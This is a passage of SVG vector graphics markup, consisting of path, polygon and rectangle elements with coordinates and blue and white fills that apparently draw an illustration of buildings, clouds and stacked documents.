fill="#FFFFFF"></path> <path d="M136.324881,101.023 C135.858427,101.023 135.476088,100.603 135.436155,100.046 C135.341845,98.695 134.442073,97.641 133.295905,97.537 C132.828602,97.494 132.476,97.051 132.476,96.506 L132.476,93.7 L133.750464,93.7 L133.750464,96.094 C135.239888,96.403 136.39965,97.767 136.662189,99.523 L140.749,99.523 L140.749,101.023 L136.324881,101.023 Z" id="Fill-326" fill="#0073AA"></path> <path d="M151.667,103.665 L151.667,100.387 C151.667,100.097 151.902,99.862 152.192,99.862 L164.85,99.862 C165.14,99.862 165.375,100.097 165.375,100.387 L165.375,103.665 L151.667,103.665" id="Fill-327" fill="#FFFFFF"></path> <path d="M155.125,103.665 L153.625,103.665 L153.625,100.612 L141.417,100.612 L141.417,103.665 L139.917,103.665 L139.917,100.387 C139.917,99.684 140.489,99.112 141.192,99.112 L153.85,99.112 C154.553,99.112 155.125,99.684 155.125,100.387 L155.125,103.665" id="Fill-328" fill="#0073AA"></path> <rect id="Rectangle" fill="#E7F7FF" x="141" y="95" width="14" height="4"></rect> <path d="M142.159,98.554 L154.367,98.554 L154.367,95.725 L142.159,95.725 L142.159,98.554 Z M154.728,100.054 L141.798,100.054 C141.17,100.054 140.659,99.542 140.659,98.914 L140.659,95.363 C140.659,94.735 141.17,94.225 141.798,94.225 L154.728,94.225 C155.356,94.225 155.867,94.735 155.867,95.363 L155.867,98.914 C155.867,99.542 155.356,100.054 154.728,100.054 L154.728,100.054 Z" id="Fill-330" fill="#0073AA"></path> <path d="M141.55,93.666 L153.758,93.666 L153.758,90.838 L141.55,90.838 L141.55,93.666 Z M154.119,95.166 L141.188,95.166 C140.56,95.166 140.05,94.655 140.05,94.027 L140.05,90.477 C140.05,89.849 140.56,89.338 141.188,89.338 L154.119,89.338 C154.747,89.338 155.258,89.849 155.258,90.477 L155.258,94.027 C155.258,94.655 154.747,95.166 154.119,95.166 L154.119,95.166 Z" id="Fill-332" fill="#0073AA"></path> <path d="M101.438,7.16 L97.164,7.16 C96.75,7.16 96.414,6.824 96.414,6.41 C96.414,5.996 96.75,5.66 97.164,5.66 L101.438,5.66 C101.852,5.66 102.188,5.996 102.188,6.41 C102.188,6.824 101.852,7.16 101.438,7.16" id="Fill-340" fill="#0073AA"></path> <path d="M99.301,9.297 C98.887,9.297 98.551,8.961 98.551,8.547 L98.551,4.273 C98.551,3.859 98.887,3.523 99.301,3.523 C99.715,3.523 100.051,3.859 100.051,4.273 L100.051,8.547 C100.051,8.961 99.715,9.297 99.301,9.297" id="Fill-341" fill="#0073AA"></path> <path d="M42.733,24.023 L38.459,24.023 C38.045,24.023 37.709,23.688 37.709,23.273 C37.709,22.859 38.045,22.523 38.459,22.523 L42.733,22.523 C43.147,22.523 43.483,22.859 43.483,23.273 C43.483,23.688 43.147,24.023 42.733,24.023" id="Fill-342" fill="#0073AA"></path> <path d="M40.596,26.16 C40.182,26.16 39.846,25.824 39.846,25.41 L39.846,21.136 C39.846,20.722 40.182,20.386 40.596,20.386 C41.01,20.386 41.346,20.722 41.346,21.136 L41.346,25.41 C41.346,25.824 41.01,26.16 40.596,26.16" id="Fill-343" fill="#0073AA"></path> <path d="M152.15,52.938 C151.958,52.938 151.767,52.864 151.62,52.718 C151.327,52.425 151.327,51.95 151.62,51.657 L154.643,48.635 C154.935,48.342 155.41,48.342 155.703,48.635 C155.996,48.928 155.996,49.402 155.703,49.695 L152.681,52.718 C152.534,52.864 152.343,52.938 152.15,52.938" id="Fill-344" fill="#0073AA"></path> <path d="M155.173,52.938 C154.98,52.938 154.789,52.864 154.643,52.718 L151.62,49.695 C151.327,49.402 151.327,48.928 151.62,48.635 C151.913,48.342 152.388,48.342 152.681,48.635 L155.703,51.657 C155.996,51.95 155.996,52.425 155.703,52.718 C155.557,52.864 155.365,52.938 155.173,52.938" id="Fill-345" fill="#0073AA"></path> <path d="M5.332,64.237 C5.14,64.237 4.948,64.164 4.802,64.018 C4.509,63.725 4.509,63.25 4.802,62.957 L7.824,59.935 C8.117,59.642 8.592,59.642 8.885,59.935 C9.178,60.228 9.178,60.702 8.885,60.995 L5.862,64.018 C5.716,64.164 5.524,64.237 5.332,64.237" id="Fill-346" fill="#0073AA"></path> <path d="M8.354,64.237 C8.162,64.237 7.971,64.164 7.824,64.018 L4.802,60.995 C4.509,60.702 4.509,60.228 4.802,59.935 C5.095,59.642 5.569,59.642 5.862,59.935 L8.885,62.957 C9.178,63.25 9.178,63.725 8.885,64.018 C8.738,64.164 8.547,64.237 8.354,64.237" id="Fill-347" fill="#0073AA"></path> <polygon id="Fill-348" fill="#0073AA" points="12.078 49.372 29.474 49.372 29.474 47.872 12.078 47.872"></polygon> <polygon id="Fill-349" fill="#0073AA" points="50.771 7.16 70.439 7.16 70.439 5.66 50.771 5.66"></polygon> <polygon id="Fill-350" fill="#0073AA" points="112.441 51.426 150.247 51.426 150.247 49.926 112.441 49.926"></polygon> <polygon id="Fill-351" fill="#0073AA" points="30.974 49.372 34.544 49.372 34.544 47.872 30.974 47.872"></polygon> <polygon id="Fill-352" fill="#0073AA" points="95.949 13.22 113.346 13.22 113.346 11.72 95.949 11.72"></polygon> <polygon id="Fill-353" fill="#0073AA" points="114.846 13.22 118.416 13.22 118.416 11.72 114.846 11.72"></polygon> <path d="M129.29,35.307 C129.29,36.051 128.687,36.654 127.943,36.654 C127.2,36.654 126.597,36.051 126.597,35.307 C126.597,34.563 127.2,33.96 127.943,33.96 C128.687,33.96 129.29,34.563 129.29,35.307" id="Fill-354" fill="#0073AA"></path> <path d="M60.281,56.195 C60.281,56.939 59.678,57.542 58.934,57.542 C58.19,57.542 57.587,56.939 57.587,56.195 C57.587,55.451 58.19,54.848 58.934,54.848 C59.678,54.848 60.281,55.451 60.281,56.195" id="Fill-355" fill="#0073AA"></path> <path d="M149.201,21.202 C149.201,21.616 148.865,21.952 148.451,21.952 C148.037,21.952 147.701,21.616 147.701,21.202 C147.701,20.787 148.037,20.451 148.451,20.451 C148.865,20.451 149.201,20.787 149.201,21.202" id="Fill-356" fill="#0073AA"></path> <path d="M57.468,1.665 C57.468,2.227 57.013,2.682 56.451,2.682 C55.889,2.682 55.434,2.227 55.434,1.665 C55.434,1.103 55.889,0.648 56.451,0.648 C57.013,0.648 57.468,1.103 57.468,1.665" id="Fill-357" fill="#0073AA"></path> <path d="M122.492,103.665 L47.793,103.665 C43.641,103.665 40.244,100.268 40.244,96.116 L40.244,95.827 C40.244,91.675 43.641,88.278 47.793,88.278 L122.492,88.278 C126.644,88.278 130.041,91.675 130.041,95.827 L130.041,96.116 C130.041,100.268 126.644,103.665 122.492,103.665" id="Fill-358" fill="#FFFFFF"></path> <path d="M70.679,76.533 C70.679,83.02 65.421,88.278 58.934,88.278 C52.448,88.278 47.189,83.02 47.189,76.533 C47.189,70.047 52.448,64.789 58.934,64.789 C65.421,64.789 70.679,70.047 70.679,76.533" id="Fill-359" fill="#FFFFFF"></path> <path d="M50.772,78.312 C50.772,80.879 48.691,82.96 46.124,82.96 C43.556,82.96 41.475,80.879 41.475,78.312 C41.475,75.744 43.556,73.663 46.124,73.663 C48.691,73.663 50.772,75.744 50.772,78.312" id="Fill-360" fill="#FFFFFF"></path> <path d="M48.498,83.603 C48.498,87.387 45.431,90.454 41.648,90.454 C37.865,90.454 34.798,87.387 34.798,83.603 C34.798,79.82 37.865,76.753 41.648,76.753 C45.431,76.753 48.498,79.82 48.498,83.603" id="Fill-361" fill="#FFFFFF"></path> <path d="M49.505,94.404 C49.505,99.519 45.359,103.665 40.244,103.665 C35.13,103.665 30.983,99.519 30.983,94.404 C30.983,89.289 35.13,85.143 40.244,85.143 C45.359,85.143 49.505,89.289 49.505,94.404" id="Fill-362" fill="#FFFFFF"></path> <path d="M40.244,104.415 C34.725,104.415 30.233,99.924 30.233,94.404 C30.233,91.145 31.828,88.08 34.499,86.205 L35.36,87.434 C33.089,89.027 31.733,91.633 31.733,94.404 C31.733,99.097 35.552,102.915 40.244,102.915 L40.244,104.415" id="Fill-363" fill="#0073AA"></path> <path d="M73.306,85.898 C73.306,88.045 71.566,89.785 69.42,89.785 C67.273,89.785 65.533,88.045 65.533,85.898 C65.533,83.752 67.273,82.011 69.42,82.011 C71.566,82.011 73.306,83.752 73.306,85.898" id="Fill-364" fill="#FFFFFF"></path> <path d="M120.686,76.042 C120.686,81.948 115.899,86.735 109.993,86.735 C104.088,86.735 99.301,81.948 99.301,76.042 C99.301,70.137 104.088,65.349 109.993,65.349 C115.899,65.349 120.686,70.137 120.686,76.042" id="Fill-365" fill="#FFFFFF"></path> <path d="M122.552,82.011 C122.21,85.8 119.49,88.852 115.712,88.852 C111.934,88.852 108.871,85.789 108.871,82.011 C108.871,78.233 111.934,75.171 115.712,75.171 C119.49,75.171 122.892,78.249 122.552,82.011" id="Fill-366" fill="#FFFFFF"></path> <path d="M115.7,86.735 C115.357,90.524 112.637,93.576 108.859,93.576 C105.081,93.576 102.019,90.513 102.019,86.735 C102.019,82.957 105.081,79.895 108.859,79.895 C112.637,79.895 116.04,82.973 115.7,86.735" id="Fill-367" fill="#FFFFFF"></path> <path d="M68.646,86.824 C67.993,90.612 62.806,93.664 55.601,93.664 C48.397,93.664 42.556,90.602 42.556,86.824 C42.556,83.046 48.397,79.983 55.601,79.983 C62.806,79.983 69.295,83.061 68.646,86.824" id="Fill-368" fill="#FFFFFF"></path> <path d="M136.204,83.664 C135.704,89.203 131.727,93.664 126.204,93.664 C120.681,93.664 116.203,89.187 116.203,83.664 C116.203,78.141 120.681,73.663 126.204,73.663 C131.727,73.663 136.702,78.163 136.204,83.664" id="Fill-369" fill="#FFFFFF"></path> <path d="M133.476,94.017 C132.993,99.36 129.156,103.665 123.828,103.665 C118.5,103.665 114.18,99.345 114.18,94.017 C114.18,88.689 118.5,84.369 123.828,84.369 C129.156,84.369 133.956,88.71 133.476,94.017" id="Fill-370" fill="#FFFFFF"></path> <path d="M107.183,83.126 C107.183,86.594 104.371,89.406 100.903,89.406 C97.435,89.406 94.624,86.594 94.624,83.126 C94.624,79.658 97.435,76.847 100.903,76.847 C104.371,76.847 107.183,79.658 107.183,83.126" id="Fill-371" fill="#FFFFFF"></path> <path d="M99.082,88.633 C99.082,90.657 97.441,92.297 95.418,92.297 C93.395,92.297 91.754,90.657 91.754,88.633 C91.754,86.61 93.395,84.969 95.418,84.969 C97.441,84.969 99.082,86.61 99.082,88.633" id="Fill-372" fill="#FFFFFF"></path> <path d="M92.195,88.972 L90.695,88.972 C90.695,86.538 92.676,84.558 95.109,84.558 L95.109,86.058 C93.503,86.058 92.195,87.365 92.195,88.972" id="Fill-373" fill="#0073AA"></path> <path d="M84.029,90.971 C84.029,93.31 80.759,95.207 76.724,95.207 C72.69,95.207 69.42,93.31 69.42,90.971 C69.42,88.632 72.69,86.735 76.724,86.735 C80.759,86.735 84.029,88.632 84.029,90.971" id="Fill-374" fill="#FFFFFF"></path> <path d="M126.407,73.973 C126.407,76.69 121.797,83.938 121.797,80.606 C121.797,77.89 116.879,78.404 116.879,75.688 C116.879,72.971 119.081,70.769 121.797,70.769 C124.514,70.769 126.407,71.257 126.407,73.973" id="Fill-375" fill="#FFFFFF"></path> <path d="M125.598,73.972 C124.924,72.481 123.432,71.519 121.797,71.519 C121.219,71.519 120.657,71.635 120.13,71.865 L119.53,70.49 C120.248,70.178 121.011,70.019 121.797,70.019 C124.019,70.019 126.049,71.328 126.965,73.355 L125.598,73.972" id="Fill-376" fill="#0073AA"></path> <path d="M101.902,84.134 C99.741,81.973 98.551,79.099 98.551,76.042 C98.551,72.984 99.741,70.111 101.902,67.951 C104.063,65.79 106.935,64.6 109.993,64.6 C113.05,64.6 115.924,65.79 118.085,67.951 C120.246,70.112 121.436,72.985 121.436,76.042 L119.936,76.042 C119.936,73.387 118.902,70.89 117.024,69.012 C115.146,67.134 112.649,66.1 109.993,66.1 C107.337,66.1 104.84,67.134 102.963,69.012 C101.085,70.889 100.051,73.386 100.051,76.042 C100.051,78.698 101.085,81.195 102.963,83.073 L101.902,84.134" id="Fill-377" fill="#0073AA"></path> <polygon id="Fill-378" fill="#FFFFFF" points="77.451 51.464 89.899 51.464 89.899 46.22 77.451 46.22"></polygon> <path d="M78.201,50.714 L89.148,50.714 L89.148,46.97 L78.201,46.97 L78.201,50.714 Z M76.701,52.214 L90.648,52.214 L90.648,45.47 L76.701,45.47 L76.701,52.214 Z" id="Fill-379" fill="#0073AA"></path> <path d="M64.551,46.294 L76.328,46.294 L76.328,20.645 L71.981,26.524 C70.731,28.215 69.261,29.72 67.751,31.184 C65.729,33.146 64.551,35.865 64.551,38.748 L64.551,46.294" id="Fill-380" fill="#ADDDF8"></path> <path d="M75.413,45.544 L72.563,45.544 L72.563,26.999 C72.57,26.989 72.578,26.98 72.585,26.97 L75.413,23.144 L75.413,45.544" id="Fill-381" fill="#8AC4E6"></path> <path d="M102.228,46.785 L90.451,46.785 L90.451,21.136 L94.797,27.015 C96.048,28.706 97.517,30.211 99.027,31.675 C101.05,33.637 102.228,36.356 102.228,39.239 L102.228,46.785" id="Fill-382" fill="#ADDDF8"></path> <polyline id="Fill-383" fill="#A6CFE4" points="94.578 26.718 91.618 22.714 91.618 21.328 94.578 25.331 94.578 26.718"></polyline> <polyline id="Fill-384" fill-opacity="0.35266644" fill="#4B97C6" points="94.578 45.889 91.618 45.889 91.618 22.714 94.578 26.718 94.578 45.889"></polyline> <path d="M65.301,45.544 L75.577,45.544 L75.577,22.922 L72.585,26.97 C71.271,28.745 69.736,30.303 68.274,31.722 C66.385,33.554 65.301,36.115 65.301,38.748 L65.301,45.544 M77.077,47.044 L63.801,47.044 L63.801,38.748 C63.801,35.712 65.051,32.758 67.229,30.645 C68.647,29.27 70.13,27.766 71.379,26.077 L77.077,18.369 L77.077,47.044" id="Fill-385" fill="#0073AA"></path> <path d="M91.201,45.544 L101.477,45.544 L101.477,38.748 C101.477,36.115 100.394,33.555 98.505,31.722 C97.043,30.304 95.509,28.747 94.194,26.969 L91.201,22.921 L91.201,45.544 Z M102.977,47.044 L89.701,47.044 L89.701,18.37 L95.401,26.077 C96.65,27.769 98.133,29.272 99.55,30.646 C101.728,32.759 102.977,35.712 102.977,38.748 L102.977,47.044 L102.977,47.044 Z" id="Fill-386" fill="#0073AA"></path> <path d="M91.618,48.85 L75.413,48.85 L75.413,15.269 C75.413,11.35 77.228,7.653 80.329,5.258 L81.776,4.14 C82.8,3.349 84.23,3.349 85.255,4.14 L86.833,5.36 C89.851,7.691 91.618,11.289 91.618,15.102 L91.618,48.85" id="Fill-387" fill="#FFFFFF"></path> <path d="M79.37,6.274 L81.3,4.784 C82.666,3.728 84.573,3.728 85.939,4.784 L88.045,6.41 L79.37,6.274" id="Fill-388" fill="#0073AA"></path> <path d="M75.413,15.269 C75.413,11.35 77.228,7.653 80.329,5.258 L81.776,4.14 C82.288,3.745 82.902,3.547 83.515,3.547 C84.129,3.547 84.742,3.745 85.255,4.14 C84.742,3.745 84.129,3.547 83.515,3.547 C82.902,3.547 82.288,3.745 81.776,4.14 L80.329,5.258 C77.228,7.653 75.413,11.35 75.413,15.269 M85.296,4.172 L85.255,4.14 L85.296,4.172" id="Fill-389" fill="#AFC9D6"></path> <path d="M78.974,48.85 L75.413,48.85 L75.413,15.269 C75.413,11.35 77.228,7.653 80.329,5.258 L81.776,4.14 C82.288,3.745 82.902,3.547 83.515,3.547 C84.129,3.547 84.742,3.745 85.255,4.14 L85.296,4.172 L85.126,4.303 C84.646,4.096 84.133,3.992 83.62,3.992 C82.801,3.992 81.983,4.256 81.3,4.784 L79.37,6.274 L82.677,6.326 C80.321,8.682 78.974,11.893 78.974,15.269 L78.974,48.85" id="Fill-390" fill="#E7F7FF"></path> <path d="M82.677,6.326 L79.37,6.274 L81.3,4.784 C81.983,4.256 82.801,3.992 83.62,3.992 C84.133,3.992 84.646,4.096 85.126,4.303 L83.89,5.258 C83.461,5.59 83.056,5.947 82.677,6.326" id="Fill-391" fill="#0073AA"></path> <path d="M88.386,22.231 L86.886,22.231 C86.886,20.373 85.374,18.861 83.516,18.861 C81.657,18.861 80.144,20.373 80.144,22.231 L78.644,22.231 C78.644,19.546 80.83,17.361 83.516,17.361 C86.201,17.361 88.386,19.546 88.386,22.231" id="Fill-392" fill="#0073AA"></path> <path d="M76.163,48.1 L90.868,48.1 L90.868,15.103 C90.868,11.547 89.188,8.127 86.374,5.953 L84.797,4.734 C84.041,4.15 82.989,4.15 82.235,4.734 L80.787,5.852 C77.892,8.089 76.163,11.609 76.163,15.269 L76.163,48.1 Z M92.368,49.6 L74.663,49.6 L74.663,15.269 C74.663,11.148 76.609,7.184 79.87,4.664 L81.318,3.547 C82.611,2.547 84.419,2.547 85.714,3.547 L87.291,4.766 C90.471,7.222 92.368,11.086 92.368,15.103 L92.368,49.6 L92.368,49.6 Z" id="Fill-393" fill="#0073AA"></path> <path d="M100.903,90.155 C97.027,90.155 93.874,87.002 93.874,83.126 C93.874,79.936 96.026,77.141 99.107,76.328 L99.49,77.779 C97.066,78.418 95.374,80.616 95.374,83.126 C95.374,86.175 97.854,88.655 100.903,88.655 L100.903,90.155" id="Fill-394" fill="#0073AA"></path> <path d="M65.124,87.39 L64.38,86.087 C67.803,84.131 69.929,80.471 69.929,76.533 C69.929,70.471 64.997,65.539 58.935,65.539 C52.872,65.539 47.939,70.471 47.939,76.533 L46.439,76.533 C46.439,69.644 52.045,64.039 58.935,64.039 C65.824,64.039 71.429,69.644 71.429,76.533 C71.429,81.008 69.013,85.167 65.124,87.39" id="Fill-395" fill="#0073AA"></path> <path d="M44.285,74.873 L43.578,73.551 C44.833,72.879 46.358,72.732 47.716,73.152 L47.274,74.586 C46.293,74.284 45.191,74.389 44.285,74.873" id="Fill-396" fill="#0073AA"></path> <path d="M69.42,90.535 L69.42,89.035 C71.149,89.035 72.557,87.628 72.557,85.898 C72.557,84.169 71.149,82.762 69.42,82.762 L69.42,81.262 C71.977,81.262 74.057,83.342 74.057,85.898 C74.057,88.455 71.977,90.535 69.42,90.535" id="Fill-397" fill="#0073AA"></path> <path d="M99.033,94.918 L71.351,94.918 L79.363,85.898 L79.363,52.557 L87.943,52.557 L87.574,82.994 C87.551,84.824 88.383,86.56 89.823,87.691 L99.033,94.918" id="Fill-398" fill="#FFFFFF"></path> <path d="M92.003,88.408 L91.112,88.408 C88.865,88.386 87.044,86.546 87.044,84.307 L87.044,52.557 L88.544,52.557 L88.544,84.307 C88.544,85.727 89.699,86.894 91.12,86.908 L92.003,86.908 L92.003,88.408" id="Fill-399" fill="#0073AA"></path> <path d="M76.339,87.574 L73.298,87.574 L73.298,86.074 L76.339,86.074 C77.593,86.074 78.613,85.054 78.613,83.8 L78.613,52.557 L80.113,52.557 L80.113,83.8 C80.113,85.881 78.42,87.574 76.339,87.574" id="Fill-400" fill="#0073AA"></path> <path d="M74.85,101.262 C74.842,100.523 74.977,99.794 75.249,99.099 C75.521,98.405 75.919,97.781 76.43,97.243 C76.96,96.687 77.588,96.247 78.298,95.938 C79.008,95.628 79.758,95.467 80.527,95.459 C81.263,95.461 81.996,95.585 82.69,95.857 C83.385,96.132 84.009,96.529 84.546,97.039 L83.513,98.127 C83.116,97.75 82.654,97.456 82.141,97.253 C81.643,97.058 81.12,96.959 80.588,96.959 L80.543,96.959 C79.976,96.965 79.422,97.084 78.897,97.313 C78.373,97.542 77.908,97.866 77.517,98.277 C77.141,98.673 76.847,99.135 76.645,99.648 C76.443,100.162 76.344,100.7 76.35,101.246 L74.85,101.262" id="Fill-401" fill="#0073AA"></path> <path d="M50.021,89.266 C50.014,88.524 50.148,87.797 50.421,87.103 C50.694,86.408 51.092,85.783 51.603,85.246 C52.134,84.689 52.763,84.249 53.472,83.941 C54.18,83.632 54.93,83.471 55.699,83.463 C56.45,83.464 57.17,83.589 57.862,83.861 C58.555,84.134 59.179,84.531 59.718,85.043 L58.685,86.131 C58.286,85.753 57.825,85.459 57.313,85.258 C56.801,85.056 56.251,84.946 55.715,84.963 C55.147,84.969 54.594,85.088 54.07,85.316 C53.546,85.544 53.081,85.868 52.69,86.28 C52.313,86.677 52.019,87.138 51.817,87.651 C51.615,88.165 51.516,88.703 51.521,89.25 L50.021,89.266" id="Fill-402" fill="#0073AA"></path> <path d="M114.568,86.589 L113.164,86.064 C113.355,85.551 113.444,85.012 113.428,84.461 C113.413,83.912 113.293,83.378 113.072,82.874 C112.846,82.356 112.519,81.895 112.102,81.5 C111.686,81.107 111.206,80.808 110.674,80.609 C110.161,80.417 109.619,80.319 109.07,80.345 C108.521,80.359 107.987,80.48 107.483,80.7 L106.882,79.325 C107.564,79.027 108.286,78.865 109.028,78.845 C109.77,78.831 110.502,78.944 111.198,79.204 C111.919,79.473 112.57,79.879 113.133,80.41 C113.695,80.942 114.138,81.569 114.446,82.272 C114.745,82.955 114.907,83.677 114.928,84.419 C114.949,85.163 114.828,85.894 114.568,86.589" id="Fill-403" fill="#0073AA"></path> <path d="M81.966,96.485 L80.479,96.284 C80.583,95.52 80.835,94.795 81.228,94.131 C81.62,93.468 82.134,92.898 82.753,92.439 C83.352,91.996 84.019,91.679 84.739,91.493 C85.463,91.31 86.201,91.266 86.935,91.363 L86.736,92.85 C86.194,92.776 85.647,92.809 85.112,92.946 C84.581,93.083 84.087,93.318 83.644,93.645 C83.188,93.982 82.81,94.403 82.52,94.895 C82.228,95.387 82.042,95.921 81.966,96.485" id="Fill-404" fill="#0073AA"></path> <path d="M114.923,97.504 L113.436,97.303 C113.539,96.541 113.791,95.817 114.185,95.15 C114.579,94.484 115.092,93.915 115.71,93.457 C116.307,93.016 116.975,92.698 117.696,92.512 C118.42,92.326 119.158,92.284 119.893,92.382 L119.693,93.868 C119.151,93.794 118.603,93.826 118.069,93.965 C117.536,94.103 117.042,94.337 116.602,94.662 C116.146,95 115.768,95.421 115.477,95.913 C115.185,96.406 114.999,96.941 114.923,97.504" id="Fill-405" fill="#0073AA"></path> <path d="M97.82,104.67 C97.09,104.43 96.424,104.05 95.841,103.542 C95.258,103.033 94.791,102.424 94.454,101.733 C94.128,101.065 93.938,100.35 93.888,99.607 C93.836,98.865 93.928,98.131 94.159,97.425 L95.585,97.892 C95.414,98.413 95.346,98.956 95.384,99.505 C95.421,100.055 95.561,100.582 95.802,101.075 C96.051,101.586 96.395,102.035 96.827,102.411 C97.258,102.787 97.75,103.067 98.289,103.244 L97.82,104.67" id="Fill-406" fill="#0073AA" transform="translate(96.081444, 101.047500) rotate(-7.000000) translate(-96.081444, -101.047500) "></path> <path d="M36.273,88.978 C34.838,87.541 34.048,85.633 34.048,83.604 C34.048,79.412 37.457,76.003 41.648,76.003 C43.405,76.003 45.119,76.617 46.475,77.731 L45.521,78.89 C44.435,77.995 43.059,77.503 41.648,77.503 C38.284,77.503 35.548,80.239 35.548,83.604 C35.548,85.232 36.183,86.765 37.334,87.917 L36.273,88.978" id="Fill-407" fill="#0073AA"></path> <path d="M130.726,93.384 L130.065,92.036 C133.054,90.573 135.119,87.34 135.457,83.597 C135.655,81.409 134.9,79.259 133.331,77.541 C131.048,75.044 127.321,73.874 124.019,74.673 L123.668,73.214 C127.486,72.293 131.796,73.638 134.438,76.529 C136.295,78.563 137.188,81.12 136.951,83.731 C136.56,88.058 134.233,91.666 130.726,93.384" id="Fill-408" fill="#0073AA"></path> <path d="M123.828,104.415 L123.828,102.915 C128.517,102.915 132.26,99.145 132.728,93.949 C132.815,92.994 132.716,92.046 132.433,91.133 L133.864,90.688 C134.207,91.79 134.327,92.933 134.223,94.085 C133.683,100.07 129.31,104.415 123.828,104.415" id="Fill-409" fill="#0073AA"></path> <path d="M43.833,81.368 L17.011,81.368 C16.226,81.368 15.59,82.004 15.59,82.788 L15.59,103.676 L42.442,103.676 C44.033,103.676 45.323,102.386 45.323,100.794 L45.323,82.858 C45.323,82.035 44.656,81.368 43.833,81.368" id="Fill-410" fill="#62A6CF"></path> <path d="M42.988,104.426 L14.841,104.426 L14.841,82.519 C14.841,81.471 15.693,80.618 16.741,80.618 L34.269,80.618 L34.269,82.118 L16.741,82.118 C16.52,82.118 16.341,82.298 16.341,82.519 L16.341,102.926 L42.988,102.926 C43.862,102.926 44.573,102.215 44.573,101.341 L44.573,82.576 C44.573,82.323 44.368,82.118 44.115,82.118 L42.284,82.118 L42.284,80.618 L44.115,80.618 C45.195,80.618 46.073,81.496 46.073,82.576 L46.073,101.341 C46.073,103.042 44.689,104.426 42.988,104.426" id="Fill-411" fill="#0073AA"></path> <path d="M34.673,73.02 L40.596,78.943 L40.596,99.62 C40.596,100.556 39.837,101.315 38.902,101.315 L21.218,101.315 C20.283,101.315 19.524,100.556 19.524,99.62 L19.524,74.714 C19.524,73.778 20.283,73.02 21.218,73.02 L34.673,73.02" id="Fill-412" fill="#FFFFFF"></path> <polyline id="Fill-413" fill="#62A6CF" points="34.673 78.943 34.673 73.02 40.596 78.943 34.673 78.943"></polyline> <path d="M40.596,79.692 L35.265,79.692 C34.524,79.692 33.923,79.091 33.923,78.351 L33.923,73.02 L35.423,73.02 L35.423,78.192 L40.596,78.192 L40.596,79.692" id="Fill-414" fill="#0073AA"></path> <path d="M38.901,102.065 L21.219,102.065 L21.219,100.565 L38.901,100.565 C39.422,100.565 39.846,100.141 39.846,99.62 L39.846,79.253 L34.362,73.77 L21.219,73.77 C20.697,73.77 20.273,74.193 20.273,74.714 L20.273,82.695 L18.773,82.695 L18.773,74.714 C18.773,73.366 19.87,72.27 21.219,72.27 L34.983,72.27 L41.346,78.632 L41.346,99.62 C41.346,100.968 40.249,102.065 38.901,102.065" id="Fill-415" fill="#0073AA"></path> <path d="M38.123,71.295 L44.046,77.218 L44.046,97.895 C44.046,98.831 43.287,99.59 42.351,99.59 L24.668,99.59 C23.732,99.59 22.974,98.831 22.974,97.895 L22.974,72.989 C22.974,72.053 23.732,71.295 24.668,71.295 L38.123,71.295" id="Fill-416" fill="#ADDDF8"></path> <polyline id="Fill-417" fill="#62A6CF" points="38.123 77.218 38.123 71.295 44.046 77.218 38.123 77.218"></polyline> <path d="M44.046,77.968 L38.715,77.968 C37.975,77.968 37.373,77.366 37.373,76.626 L37.373,71.295 L38.873,71.295 L38.873,76.468 L44.046,76.468 L44.046,77.968" id="Fill-418" fill="#0073AA"></path> <polygon id="Fill-419" fill="#0073AA" points="26.133 80.857 41.201 80.857 41.201 79.357 26.133 79.357"></polygon> <polygon id="Fill-420" fill="#0073AA" points="26.133 84.218 41.201 84.218 41.201 82.718 26.133 82.718"></polygon> <polygon id="Fill-421" fill="#0073AA" points="26.133 87.577 41.201 87.577 41.201 86.077 26.133 86.077"></polygon> <polygon id="Fill-422" fill="#0073AA" points="26.133 90.938 41.201 90.938 41.201 89.438 26.133 89.438"></polygon> <path d="M42.352,100.34 L41.572,100.34 L41.572,98.84 L42.352,98.84 C42.872,98.84 43.296,98.416 43.296,97.896 L43.296,77.528 L37.813,72.045 L24.668,72.045 C24.147,72.045 23.724,72.469 23.724,72.989 L23.724,84.941 L22.224,84.941 L22.224,72.989 C22.224,71.642 23.32,70.545 24.668,70.545 L38.434,70.545 L44.796,76.907 L44.796,97.896 C44.796,99.243 43.699,100.34 42.352,100.34" id="Fill-423" fill="#0073AA"></path> <path d="M41.572,73.882 L47.496,79.805 L47.496,100.483 C47.496,101.418 46.737,102.177 45.801,102.177 L28.118,102.177 C27.182,102.177 26.423,101.418 26.423,100.483 L26.423,75.577 C26.423,74.641 27.182,73.882 28.118,73.882 L41.572,73.882" id="Fill-424" fill="#FFFFFF"></path> <polyline id="Fill-425" fill="#E7F7FF" points="41.572 79.805 41.572 73.882 47.496 79.805 41.572 79.805"></polyline> <path d="M47.495,80.556 L42.164,80.556 C41.424,80.556 40.822,79.953 40.822,79.213 L40.822,73.882 L42.322,73.882 L42.322,79.056 L47.495,79.056 L47.495,80.556" id="Fill-426" fill="#0073AA"></path> <polygon id="Fill-427" fill="#0073AA" points="29.582 83.445 44.651 83.445 44.651 81.945 29.582 81.945"></polygon> <polygon id="Fill-428" fill="#0073AA" points="29.582 86.805 44.651 86.805 44.651 85.305 29.582 85.305"></polygon> <polygon id="Fill-429" fill="#0073AA" points="29.582 90.165 44.651 90.165 44.651 88.665 29.582 88.665"></polygon> <polygon id="Fill-430" fill="#0073AA" points="29.582 93.525 44.651 93.525 44.651 92.025 29.582 92.025"></polygon> <path d="M45.801,102.927 L42.779,102.927 L42.779,101.427 L45.801,101.427 C46.321,101.427 46.745,101.003 46.745,100.482 L46.745,80.116 L41.262,74.632 L28.118,74.632 C27.598,74.632 27.174,75.056 27.174,75.576 L27.174,84.942 L25.674,84.942 L25.674,75.576 C25.674,74.229 26.77,73.132 28.118,73.132 L41.883,73.132 L48.245,79.495 L48.245,100.482 C48.245,101.83 47.148,102.927 45.801,102.927" id="Fill-431" fill="#0073AA"></path> <path d="M42.943,103.676 L14.569,103.676 C13.889,103.676 13.337,103.124 13.337,102.444 L13.337,84.829 C13.337,84.26 13.798,83.8 14.366,83.8 L19.216,83.8 C19.569,83.8 19.898,83.982 20.086,84.281 L21.338,86.27 L39.383,86.27 C40.034,86.27 40.562,86.798 40.562,87.449 L40.562,101.296 C40.562,102.407 41.358,103.676 42.943,103.676" id="Fill-432" fill="#FFFFFF"></path> <path d="M40.562,97.998 L13.337,97.998 L13.337,102.081085 C13.337,102.961395 13.889,103.676 14.57,103.676 L42.943,103.676 C41.358,103.676 40.562,102.033186 40.562,100.59362 L40.562,97.998 Z" id="Fill-433" fill="#E7F7FF"></path> <path d="M42.942,104.426 C40.909,104.426 39.813,102.814 39.813,101.296 L39.813,87.449 C39.813,87.212 39.62,87.02 39.384,87.02 L20.924,87.02 L19.452,84.68 C19.401,84.6 19.311,84.55 19.216,84.55 